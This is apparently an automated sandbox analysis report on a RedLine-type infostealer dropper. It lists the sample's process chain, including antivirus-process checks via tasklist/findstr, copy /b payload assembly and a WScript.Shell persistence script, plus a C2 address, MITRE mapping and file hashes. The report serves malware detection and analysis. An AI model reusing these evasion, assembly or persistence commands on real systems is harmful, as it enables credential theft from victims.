Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Surgeons Surgeons.cmd & Surgeons.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 723582	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "wagemissileaffiliatesgreeting" Fisting	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Restriction + Manager + Screw + Anchor 723582\r	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\723582\Flash.pif 723582\Flash.pif 723582\r	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Process created: C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif" "C:\Users\user\AppData\Local\EduTech Dynamics\L"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

11_2_00A288CD

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A34F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_00A34F1C

Source: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2011358694.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3254407214.0000000000A86000.00000002.00000001.01000000.00000005.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B8C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Flash.pif, ApolloSphere.pif	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_009F885B cpuid

11_2_009F885B

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A10030 GetLocalTime,__swprintf,

11_2_00A10030

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A10722 GetUserNameW,

11_2_00A10722

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Code function: 11_2_00A0416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_00A0416A

Source: C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 0000000B.00000002.3256409691.000000000141A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3256254115.0000000001350000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3249041675.00000000030D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3249083801.000000000139B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3256579902.00000000014CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3248898877.0000000001351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3248832355.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3248740085.000000000141B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3248696366.00000000030D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Flash.pif PID: 4368, type: MEMORYSTR

Source: ApolloSphere.pif	Binary or memory string: WIN_81
Source: ApolloSphere.pif	Binary or memory string: WIN_XP
Source: ApolloSphere.pif	Binary or memory string: WIN_XPe
Source: ApolloSphere.pif	Binary or memory string: WIN_VISTA
Source: ApolloSphere.pif	Binary or memory string: WIN_7
Source: ApolloSphere.pif	Binary or memory string: WIN_8
Source: Flash.pif.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 4USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: 0000000B.00000002.3256409691.000000000141A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3256254115.0000000001350000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3249041675.00000000030D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3249083801.000000000139B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3256579902.00000000014CB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3248898877.0000000001351000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3248832355.00000000042DB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3248740085.000000000141B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000003.3248696366.00000000030D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Flash.pif PID: 4368, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A4696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	11_2_00A4696E
Source: C:\Users\user\AppData\Local\Temp\723582\Flash.pif	Code function: 11_2_00A46E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	11_2_00A46E32
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001F696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	16_2_001F696E
Source: C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	Code function: 16_2_001F6E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	16_2_001F6E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	11 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Valid Accounts	Cached Domain Credentials	1 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	4 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	67%	ReversingLabs	Win32.Trojan.Nekark

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\723582\Flash.pif	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe	0%	ReversingLabs

Source	Detection	Scanner	Label
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	URL Reputation	safe
http://www.autoitscript.com/autoit3/J	0%	Avira URL Cloud	safe
88.99.151.68:7200	0%	Avira URL Cloud	safe
https://www.autoitscript.com/autoit3/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
RADgSUbEiddPOZAFcUYmDkmxSjP.RADgSUbEiddPOZAFcUYmDkmxSjP	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
88.99.151.68:7200	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/J	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2017160041.000000000283A000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000000.2068027405.0000000000A99000.00000002.00000001.01000000.00000005.sdmp, ApolloSphere.pif, 00000010.00000002.3254047841.0000000000249000.00000002.00000001.01000000.00000008.sdmp, ApolloSphere.pif.11.dr, Flash.pif.2.dr, Parents.0.dr	false	Avira URL Cloud: safe	unknown
https://api.ip.sb/ip	Flash.pif, 0000000B.00000002.3256409691.000000000141A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3256254115.0000000001350000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3249041675.00000000030D4000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3249083801.000000000139B000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3256579902.00000000014CB000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3248898877.0000000001351000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3248832355.00000000042DB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sectigo.com/CPS0	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	false	URL Reputation: safe	unknown
https://www.autoitscript.com/autoit3/	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe, 00000000.00000003.2025611009.0000000002835000.00000004.00000020.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.2078132463.0000000003B9A000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000002.3257234453.00000000039E0000.00000004.00000800.00020000.00000000.sdmp, Flash.pif, 0000000B.00000003.3247044390.00000000039D1000.00000004.00000800.00020000.00000000.sdmp, Confidentiality.0.dr, ApolloSphere.pif.11.dr, Flash.pif.2.dr	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe	false	URL Reputation: safe	unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483220
Start date and time:	2024-07-26 21:11:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@30/37@2/0
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 98 Number of non-executed functions: 296
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe

Simulations

Behavior and APIs

Time	Type	Description
15:11:58	API Interceptor	1x Sleep call for process: f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe modified
15:12:03	API Interceptor	3641x Sleep call for process: Flash.pif modified
15:12:09	API Interceptor	2805x Sleep call for process: ApolloSphere.pif modified
21:12:04	Task Scheduler	Run new task: ApolloSphere path: wscript s>//B "C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js"

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif	file.exe	Get hash	malicious	Vidar	Browse
	NB4EASbynx.msi	Get hash	malicious	LummaC	Browse
	LisectAVT_2403002A_117.exe	Get hash	malicious	RedLine	Browse
	wxNXR3EdaH.msi	Get hash	malicious	LummaC	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	lSmb6nDsrC.exe	Get hash	malicious	SmokeLoader	Browse
C:\Users\user\AppData\Local\Temp\723582\Flash.pif	file.exe	Get hash	malicious	Vidar	Browse
	NB4EASbynx.msi	Get hash	malicious	LummaC	Browse
	LisectAVT_2403002A_117.exe	Get hash	malicious	RedLine	Browse
	wxNXR3EdaH.msi	Get hash	malicious	LummaC	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	main.exe	Get hash	malicious	Unknown	Browse
	lSmb6nDsrC.exe	Get hash	malicious	SmokeLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\723582\Flash.pif
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	180
Entropy (8bit):	4.782326013424989
Encrypted:	false
SSDEEP:	3:RiMIpGXJO9obdPHo55wWAX+aJp6/h4EkD5gmx9hJSQI585uWAX+aJp6/h4EkD5gB:RiJuOybJHonwWDaJ0/hJkDvHC58wWDaK
MD5:	7180545E35CE4A1FD484CF07C33BDF26
SHA1:	C1B6E3B39E5E3321D1C67948C985A6D488D6BE7F
SHA-256:	695F050DA02ECC97D7D31DA736758D3CBD3C6246A0FA4DAA960922F44508E529
SHA-512:	48809DCB5DFA196522E532C79D0ABAF3DD67BA576B1CC8101E4B8421DE7FF5CA135D2EEABF9B31C5A02BD67644A22A36B998909E51CFF7869302E50ED9829994
Malicious:	true
Preview:	new ActiveXObject("Wscript.Sh" + "ell").Exec("\"C:\\Users\\user\\AppData\\Local\\EduTech Dynamics\\ApolloSphere.pif\" \"C:\\Users\\user\\AppData\\Local\\EduTech Dynamics\\L\"")

C:\Users\user\AppData\Local\EduTech Dynamics\ApolloSphere.pif

Download File

Process:	C:\Users\user\AppData\Local\Temp\723582\Flash.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	893608
Entropy (8bit):	6.620254876639106
Encrypted:	false
SSDEEP:	12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
MD5:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
SHA1:	F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
SHA-256:	865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
SHA-512:	57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: NB4EASbynx.msi, Detection: malicious, Browse Filename: LisectAVT_2403002A_117.exe, Detection: malicious, Browse Filename: wxNXR3EdaH.msi, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: lSmb6nDsrC.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\EduTech Dynamics\L

Download File

Process:	C:\Users\user\AppData\Local\Temp\723582\Flash.pif
File Type:	data
Category:	dropped
Size (bytes):	400382
Entropy (8bit):	7.999557196070158
Encrypted:	true
SSDEEP:	12288:PKNEkDMXn1f8OU+IrrA+eh45xwkXF5rBoZH4S:CNE0MlkOU5rApOxw8oZl
MD5:	B786563F77CB34317241685E18A73F01
SHA1:	53991C917BCA0F332D04B1AFAEB662DD74733414
SHA-256:	873AF222D88CF19A1E39DE1AEFC5DEA1D721F917807F1BAFA7F75669787F8D06
SHA-512:	204DCDD2D6159EB9EE48B05D90B3AC054631F478114862056B449A7E7001E98AA9A448AAB43733DDA911D7D093AD859002E0D9F07A372E0BEB1225E594C52DED
Malicious:	false
Preview:	G.....Pf._....IG.-..M"...c-..g...9Y../v........L.L...p....#\|.S...[K.?6.^.^9.1Uo.I.0.....RLr.R.X.(.Y...N...6.....3.#.<!.....].Y...C../....P..G...U.q..h......T..9F.Jk..>..V/..T.g20.b.X....W.o..\|.7K....r."....QP+_...Q..6....J.H.W..I.YH...o......C...'.8.}......u9vpI.x....z.No...(.MC.0..5l>...uR.eV...E3\k.V....1OF.yaB....{...&.:....R;N(.J.j-. =..BC...3..fZ24....4.s_>...6.YNf....?..8.:b...].iR...E.0n...>..~......K..8.i..............D..e...uw...y....sH..PLos7.e...C...P.<<....!....ql.C..k;...o........6..i.VM...L..\.\|.'..wf$..g..._.5.<.H.._.."U....d. ....N...!1.&7?5d.(_]s.m.veI..d.rv.Z.N...N..#aj.M...a.a2.9(.q._.\..].G.K!..p.Io...F..s...y.&.1x.C.S.mgi.h@.R.....v....\..l..[......Q-..G3....m"....7.........\|..!m.{..(......9.....$3v...:....yV...6.s'EA..x......xGCI.\|.(...Wx....wJ.}..n.3g.....W^...0...k...?.....J.U..I!D...y.Z5tc..)~....pk'Q.`<VC.........X.l..W..^.}.$?:...>~.#..,...2b.\.\|C...2m...w?8.u.....\5.....g..!..o......+.]..9e(......./?...

C:\Users\user\AppData\Local\Temp\723582\Flash.pif

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.620254876639106
Encrypted:	false
SSDEEP:	12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
MD5:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
SHA1:	F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
SHA-256:	865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
SHA-512:	57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 7%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: NB4EASbynx.msi, Detection: malicious, Browse Filename: LisectAVT_2403002A_117.exe, Detection: malicious, Browse Filename: wxNXR3EdaH.msi, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: main.exe, Detection: malicious, Browse Filename: lSmb6nDsrC.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\723582\RegAsm.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\723582\Flash.pif
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	65440
Entropy (8bit):	6.049806962480652
Encrypted:	false
SSDEEP:	768:X8XcJiMjm2ieHlPyCsSuJbn8dBhFwlSMF6Iq8KSYDKbQ22qWqO8w1R:rYMaNylPYSAb8dBnsHsPDKbQBqTY
MD5:	0D5DF43AF2916F47D00C1573797C1A13
SHA1:	230AB5559E806574D26B4C20847C368ED55483B0
SHA-256:	C066AEE7AA3AA83F763EBC5541DAA266ED6C648FBFFCDE0D836A13B221BB2ADC
SHA-512:	F96CF9E1890746B12DAF839A6D0F16F062B72C1B8A40439F96583F242980F10F867720232A6FA0F7D4D7AC0A7A6143981A5A130D6417EA98B181447134C7CFE2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<.]..............0.............^.... ........@.. ....................... .......F....`.....................................O.......8................A........................................................... ............... ..H............text...d.... ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B................@.......H........A...p..........T................................................~P...-.r...p.....(....(....s.....P.....0.."........(......-.r...p.rI..p(....s....z....0..........(....~P.....o........(....n(.....(..........%...(....~(.....(..........%...%...(.....(.....(..........%...%...%...(....V.(......}Q.....}R.....{Q.....{R......0...........(.......i.=...}S......i.@...}T......i.@...}U.....+m...(....o .....r]..p.o!...,..{T.......{U........o"....+(.ra..p.o!...,..{T.......

C:\Users\user\AppData\Local\Temp\723582\r

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	400382
Entropy (8bit):	7.999557196070158
Encrypted:	true
SSDEEP:	12288:PKNEkDMXn1f8OU+IrrA+eh45xwkXF5rBoZH4S:CNE0MlkOU5rApOxw8oZl
MD5:	B786563F77CB34317241685E18A73F01
SHA1:	53991C917BCA0F332D04B1AFAEB662DD74733414
SHA-256:	873AF222D88CF19A1E39DE1AEFC5DEA1D721F917807F1BAFA7F75669787F8D06
SHA-512:	204DCDD2D6159EB9EE48B05D90B3AC054631F478114862056B449A7E7001E98AA9A448AAB43733DDA911D7D093AD859002E0D9F07A372E0BEB1225E594C52DED
Malicious:	false
Preview:	G.....Pf._....IG.-..M"...c-..g...9Y../v........L.L...p....#\|.S...[K.?6.^.^9.1Uo.I.0.....RLr.R.X.(.Y...N...6.....3.#.<!.....].Y...C../....P..G...U.q..h......T..9F.Jk..>..V/..T.g20.b.X....W.o..\|.7K....r."....QP+_...Q..6....J.H.W..I.YH...o......C...'.8.}......u9vpI.x....z.No...(.MC.0..5l>...uR.eV...E3\k.V....1OF.yaB....{...&.:....R;N(.J.j-. =..BC...3..fZ24....4.s_>...6.YNf....?..8.:b...].iR...E.0n...>..~......K..8.i..............D..e...uw...y....sH..PLos7.e...C...P.<<....!....ql.C..k;...o........6..i.VM...L..\.\|.'..wf$..g..._.5.<.H.._.."U....d. ....N...!1.&7?5d.(_]s.m.veI..d.rv.Z.N...N..#aj.M...a.a2.9(.q._.\..].G.K!..p.Io...F..s...y.&.1x.C.S.mgi.h@.R.....v....\..l..[......Q-..G3....m"....7.........\|..!m.{..(......9.....$3v...:....yV...6.s'EA..x......xGCI.\|.(...Wx....wJ.}..n.3g.....W^...0...k...?.....J.U..I!D...y.Z5tc..)~....pk'Q.`<VC.........X.l..W..^.}.$?:...>~.#..,...2b.\.\|C...2m...w?8.u.....\5.....g..!..o......+.]..9e(......./?...

C:\Users\user\AppData\Local\Temp\Agreed

Download File

Process:	C:\Users\user\Desktop\f3ba41ba0b508b0965153c1688d6df6de6b3fdf59b015.exe
File Type:	data
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.277305546210652
